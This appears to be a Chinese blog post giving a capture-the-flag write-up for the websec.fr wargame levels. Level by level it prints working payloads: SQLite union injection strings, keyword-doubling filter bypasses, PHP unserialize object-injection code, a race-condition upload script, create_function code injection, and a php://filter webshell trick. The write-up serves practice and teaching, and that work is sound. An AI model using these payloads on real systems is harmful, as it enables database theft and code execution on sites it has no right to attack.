美文网首页
websec.fr writeup

websec.fr writeup

作者: blackJdog | 来源:发表于2018-10-10 09:48 被阅读0次

level01

sqlite注入
1 union select 1,sql from sqlite_master
找到password字段
0 union select 1,password as username from users where id=1

level04

unserialize 对象注入
最终回显的字段是username,使用as关键字

<?php
class SQL {
    public $query = '';
    public $conn;}

$sql=new SQL();
$sql->query='select password as username from users ';
$myarray=array('sql'=>$sql,'ip'=>'42.49.96.171');
$c=base64_encode(serialize($myarray));
print $c;
?>

level17

php strcmp() strcasecmp() 函数当传入数组时会某些php版本返回0

level25

http://websec.fr///level25/index.php?page=flag

parse_url
对严重不合格的 URL,parse_url() 可能会返回 false

level28

在1s中访问我们上传的shell。

import requests
import hashlib
from multiprocessing import Process

files={'flag_file':('flag.php','<?php show_source("flag.php");?>')}
data={'submit':'hah'}
url='http://websec.fr/level28/index.php'
url2='http://websec.fr/level28/'+hashlib.md5('{ip}}').hexdigest()+'.php'

def uploadshell():
    resp=requests.post(url,data=data,files=files)
def getpass():
    resp=requests.get(url2)
    print(resp.content)
pro1=Process(target=uploadshell)
pro2=Process(target=getpass)
pro1.start()
pro2.start()

level2

1111 ununionion selselectect 1,password frfromom users

preg_replace()只会替换一次,可以用 uniunionon绕过

level8

必须上传图片,
include_once()会执行php代码,在图片中添加php代码。
print_r(scandir('/')) 列出指定路径中的文件和目录 返回数组 ,使用print_r()或var_dump()打印
show_source('flag.txt')

level10

松散比较,构造一个hash值为0e开头的hash值,与0相等。

import hashlib
for i in range(1000000):
    s='.{0}flag'.format(i*'/')
    b=hashlib.md5(s).hexdigest()
    if b[0:2]=='0e':
        print s
        break

File=./////////flag
Secret hash=0

level11

子查询注入
user_id=2&submit=hah&table=(select 2 id,enemy username from costume)

level15

create_function()存在代码注入
;}print_r($flag);//

level22

var_dump($a)
$blacklist{579}($a)

level24

php://filter/write=convert.base64-decode/resource=my_file.php
php流协议,创建一个php base64解码的流文件
把webshell用base64编码上传到该文件,会自动解码。

level03

password_hash 遇到0字节仅对0字节前面的字符串加密
sha1($_POST[‘c’], false)将返回一个40位字符长度的16进制数字,而不是一个20位的字符串
当使用sha1函数对密码进行加密后返回的是16进制的字符串,如果字符串刚好有00,就会以00结束字符串。
sha1('wadaa')=7c0022af2ef5ee457ea9a8aba36d1b54b73085e0

level09

stripcslashes() 反转义字符串 \0 代表8进制,\x 代表十六进制
stripcslashes('readfile\x28\x27flag.txt\x27\x29\x3b');

level18

unserialize()注入对象
$data->input = &$data->flag; 引用传递 &

level07

字段取别名
1111 union select 1,d from (select 1 b,2 c,3 d where d in(4) union select * from users where id between 1 and 1)

相关文章

  • websec.fr writeup

    level01 sqlite注入1 union select 1,sql from sqlite_master找到...

  • 第一届安洵杯writeup

    安洵官方writeup安洵writeup第一届安洵杯writeup MISC 幺元 booom 爆破 查看pass...

  • HCTF两道web题目

    HCTF WEB wp 官方Writeup: [https://bysec.io/hctf/writeup.htm...

  • Behavioral Cloning

    Behavioral Cloning Writeup Template You can use this file...

  • Jarvis OJ PWN level6 WriteUp

    终于做完了自己在pwn方向的第一道堆题,参考了writeup1和writeup2怼了四天,终于理解了整道题目,本地...

  • writeup

    Web 签到题: 点开题目地址,网页上只有一行字,查看网页源码,得到flag 签到题2: 口令为11个字符,而输入...

  • writeup

    南京邮电大学网络攻防训练平台 web writeup 签到题: 查看源代码 就可以看到 flag:nctf{fla...

  • WriteUp

    Crypto base64? 第一眼看题目提示base64,马上就进行一波解码 一眼看过去,感觉是16进制,再转一...

  • bugku-web-writeup

    1.web基础$_GET writeup: 输入http://120.24.86.145:8002/get/?wh...

  • 因为一群清高的SB以后所有WriteUp全部付费观看

    因为一群清高的SB以后所有WriteUp全部付费观看

网友评论

      本文标题:websec.fr writeup

      本文链接:https://www.haomeiwen.com/subject/xiguaftx.html